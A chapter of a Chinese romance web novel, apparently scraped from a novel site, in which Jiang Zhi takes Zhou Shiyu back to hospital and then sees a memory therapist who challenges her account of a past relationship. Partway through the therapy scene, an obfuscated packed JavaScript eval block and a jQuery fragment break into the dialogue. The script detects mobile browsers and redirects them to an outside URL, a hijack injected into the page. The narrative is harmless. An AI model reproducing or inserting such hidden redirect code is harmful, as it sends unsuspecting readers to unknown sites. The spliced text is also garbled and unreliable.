送周时屿回医院的方式还是打车。
姜知也不想这样，但她驾照还是大学时考的，再也没实操过，加上周时屿的车又实在……等勉强摸清按键的位置，看了看湿滑的路面和漫天雨幕，打算放弃。
报完尾号后，司机闻声回头：“哦，小姑娘，又是你啊。”
“……”姜知尴尬点头，心虚地看向闭着眼的周时屿，悄悄松了口气。
司机又笑。
就在她以为结束对话时：“和好了就好好的啊，下次没事别再离家出走了，大晚上你看这闹的。”
姜知赧然：“我们不是……”
不是情侣。
但很没有意义，不是吗。
她的目光穿过晃动的街景，落在身旁沉睡人的侧脸上。周时屿不会听见，司机只是一个路过的热心人。她突然没了闲聊解释的心思，一个个红灯漫长而焦灼，现在只有一个想法，恨不得这条路再短一点。
压低了音量：“麻烦您…我们赶时间。”
车一路驰骋到医院，驶过积水潭，溅起阵阵水花，雨慢慢有了停歇的趋势。
一进门，姜知就闻见浓重的消毒水味。
病房有消毒水味再正常不过，但她回忆起那个拥抱，当时有闻见吗？
-
周时屿果不其然被医生训了一通，被误当成家属的姜知也没能躲过。
医生说的所有周时屿都没反驳，除了把姜知护在身后，说她根本不知情。
的确不知情。
下午还表现得那么正常，现在看来，都是在强忍不适吧。
做过基本的检查，挂上那些药水，一脸习以为常。
有股涩意在心底翻涌。
在他们搬出她见也没见过的仪器时达到顶点。
姜知清清嗓，喉咙干哑无比：“你这几年，经常生病吗？”
“不经常，”周时屿很快否认，有什么在眼里一闪而过，“真的。”
姜知咽下快到嘴边的关心：“走了。”
他乖巧地看着她，眼里有浓重的不舍：“再见，姜知。”
走出门，姜知在自己身上嗅了嗅。
这次她能确定了，消毒水的味道很浓。
周时屿静静看着姜知走远，手指蜷起，想起关节处的烫意。他曾在梦里感受过她的眼泪，比雨水还冷，现实的泪却是滚烫的。
手机振动了一下。
“小姜知道”拍了拍你。
……
……！
呼吸暂停，万千喧嚣仿若也暂停。雨拍在窗外，他睁大眼，想确认是否是错觉。
另一边的姜知握着手机，车灯照在脸上，这一个漫长疲惫的夜晚，终于快要结束了。
树底下，她抬头看向若隐若现的月亮。
既然不喜欢被牵着走，又为什么要在原地等高明的信息。
明明没那么难。
「给我发恢复的情况，好坏都要。」
「别问为什么。看见回个好。」
没那么难，吧？
两分钟，已经过了撤回时间。她收起手机，迅速往回走，呼吸略微急促。快到楼下时，眸光一动。
那边：「好。」
姜知收回手机，手机又在口袋里振动起来。
“周时屿”拍了拍你说请你吃冰淇淋。
周时屿：「好。」
这个人……姜知没忍住，笑了。
-
周日傍晚的课程，姜知又请假了。
她跟随那边的指引，导航到诊所的位置，和接待的前台报出名字，出示预约记录。
深吸一口气，敲了两下门。
放眼，是和沈疏言的诊所完全不同的装修。
像电影里的画面，石头墙、大玻璃门、画像，还有绿植，随处可见的绿植。家具以黑白为主，无法有任何其他联想的直线条。
出来迎接的人有双格外好看的眼，瞳孔是极淡的琥珀色，接近于透明。
却无端，让人不敢与之对视。
“姜小姐，坐。”医生伸出手，示意她坐在对面的沙发上。
“您好。”姜知坐下，用手指拨弄着刘海，有些拘谨。
“叫我Jeff就好。”
“您是中国人？”
“有一半是。”
莫名的压迫感，和对面的态度无关，她捧起茶杯抿了一口。
对面人浅浅看她一眼：“不必这么紧张。”
……一下就被看出紧张会更紧张好吗！
她只能霍霍可怜的茶水，一杯接一杯。
咨询开始，姜知简要诉说了自己的恋爱经历，完全不合适的两个人是怎么走过三年。
对面的Jeff一言未发，连追问和打断也没有。期间，那双眼睛一直看着她，仿佛要将她看穿。
可是……说到一半。
就连姜知也意识到，不同了。
和几年前说的第一版有很大的出入。之前她是平静的，像一个事不关己的局外人。而现在，还是那些事，却无法不代入从前的自己，为情感中的忽视、矛盾而揪心、共情。说完一段就要歇一歇，平复许久，才能继续说下去。
-
“喜欢听故事吗？”Jeff低头记着，没有发表任何评价。姜知一怔，还是点点头，没人会讨厌故事。
“故事。”她喃喃自语。
“对，故事。有个叫尼尔斯的大学教授，前四十年一直困在童年阴影里，父母离异，酗酒的父亲虐待他，七岁那年感恩节，父亲把他打得头破血流，他逃到邻居家求救。”
好像听沈疏言说过，Jeff是位研究记忆的专家。
“四十多岁时，真相浮出水面。尼尔斯的父亲死于那年八月，而感恩节在十一月。尼尔斯从未被父亲虐待过。
那些殴打、血迹、逃跑的画面，究竟从何而来？可诡异的是，知道真相后，尼尔斯仍然活在那段噩梦里。他靠它活了几十年，自我勉励，夜夜梦魇，为了逃脱原生家庭，成了现在这个人。如果没有那段假记忆，他是谁？
他后来在治疗中说：我不知道什么是真的，但我知道，那个被打的孩子，就是我。”
考题果然开始了：“有什么感想吗？”
姜知若有所思：“记忆塑造了一个人。”
Jeff摇头：“是记忆伪装了他。”
这两者有什么不同？
“其实恢复记忆有个直接且暴力的办法，但我不是很想用在你的身上。”
“我研究过很多案例，对症治疗了千百计的病人。不过首先，想负责任地告诉您，根据患者身边人的反馈来看，他们后续找回的记忆仍有可能偏离现实。”
“这。”姜知眉头微蹙。
理论上情有可原，但作为消费者，难免有种受骗感。她又咽了口茶。
“而想要尽量规避，第一点就是不能太依赖外界，也就是我。我需要您在今后的治疗中，直面恐惧——最真实的恐惧。您一直害怕、回避的，真的是三年前的事故吗？还是说，包括三年前发生的事在内，都只是激发出了那份恐惧呢？”
瞳孔开始微微颤抖，收紧，放大，对面眼里反射出的金色光芒刺得她本能想躲。
姜知后来又去看过几个心理医生，有的说她好得很，压根没病；剩下也都认为是重大创伤的后遗症。
从来没有人指出过第三种情况。
就连沈疏言也没有。
仅仅慌乱了一瞬，姜知便恢复正常，jeff又给她倒了杯茶。
-
“没有人的记忆是客观的。你的失忆症状，不是丢失，是粉饰，说服自己你们没那么相爱。”
姜知下意识说：“我们本来就……”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17304031|193783||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
对面的医生笑了笑。
姜知收回后半句话。
“不用急着回答这一点，不妨思考一下，究竟是什么造就了你的恐惧？很多人失恋后会用记忆粉饰回忆，ta很爱我，在脑海里营造ta还爱我的假象，把细节掰开了看，也要留下相爱过的‘证据’。而你的想法却恰恰相反。”
Jeff继续说：“你的潜意识点明了一件事——因为你知道，‘ta本来就很爱我’。”
握在陶瓷茶杯上的手指微微颤抖。他翻开笔记，记录下姜知的反应。
“曾在对方那受过伤害，而希望忘掉，就能将伤害最小化，你是这样想的吗？”
姜知正想点头。
Jeff已经往下接：“听上去合理，现实成立的可能性却非常低。”
不说二话地推翻过去的猜想，姜知神色一变。
“尤其是恋爱关系，能在对方那受到巨大伤害的恋爱，情感投入往往非常多，而外化出的反应，就会趋向——我说的第一种情况。”
他们才第一次见面吧，还没了解更多就下了定论，姜知有些反感这种行为，话里带上攻击性：“每个人的记忆都是粉饰后的记忆，那又该如何去定义所谓真相？”
Jeff的指尖点着桌面，他在观察，捕捉姜知脸上每一个细小的反应。
“是这样的。但有一种东西做不了假，那就是恐惧。”
“神经反射是最直接的反应，就像我们分析连环杀/人犯的犯罪动机，也都会从童年恐惧开始。当然这扯远了。”
“对于别的患者，我可能会说服他们去想象一种现实，假如ta没有那么爱你，生活到底哪里会不一样。”
“而这次，我却更想问。”
他顿了顿，琥珀瞳孔里带了点别的情绪，可能是笑意。
“假如你们当时很相爱，会发生什么？”
直接的话语，砸在了认知之上。
会发生什么，姜知被这几句话钉得难以动弹。像一个溺水的人，看着Jeff用平静的语气，把最后一根稻草从面前拨开，越来越乱，越挣扎越下沉。
“只是推测，”Jeff淡定地继续，脸上依旧挂着温和的笑容，“当时的情况，你处在第三方的视角，为之感到非常……可惜。所以说服自己，你们不是恩爱的情侣，分开了也没什么。”
姜知垂眸，试着搜寻过去的片段，那些记忆也都十分真实：“可是你和沈疏言又怎么能确定，我说的就不是事实？”
手又开始不受控地颤抖，对视间，如果他说什么“我是专业的我当然看得出”，姜知绝对转身就走。
Jeff只是喝了口茶，“一味反驳我没有意义，问问你的心，姜小姐。”
“不管是我还是疏言，目的都是治疗你，而不是伤害你。”
姜知看了他一眼，神色微动。
“踏出开始这步往往就是最难的，你已经很努力了，可能只是还没有做好准备，迎接我说的另一个颠覆性的方向。”
他拍姜知的肩：“不用有那么大的压力。”
-
世界突然变得很安静，准确来说，是空荡。
心在胸膛里狂跳，她该怎么办？
应该相信一直以来的合理猜测，还是一个剑走偏锋只见过一面的专家？
不，实在太荒谬了。
良久没有开口。
“那我们今天的咨询就到这里？刚刚疏言给我发消息，说也想和你聊一聊。”
姜知几乎变成了一个机器，机械地道谢，机械地走出诊所。
这些天，她习惯了雨天时永不停止的潮湿，此时拍打在脸上的，却是久违的干燥空气，带着点初夏的热度，是暖的。
竟然有束阳光从叶片和云层的缝隙下来，树冠的影子铺在大地上，几片落叶落在她的脚边。
终于，要放晴了吗？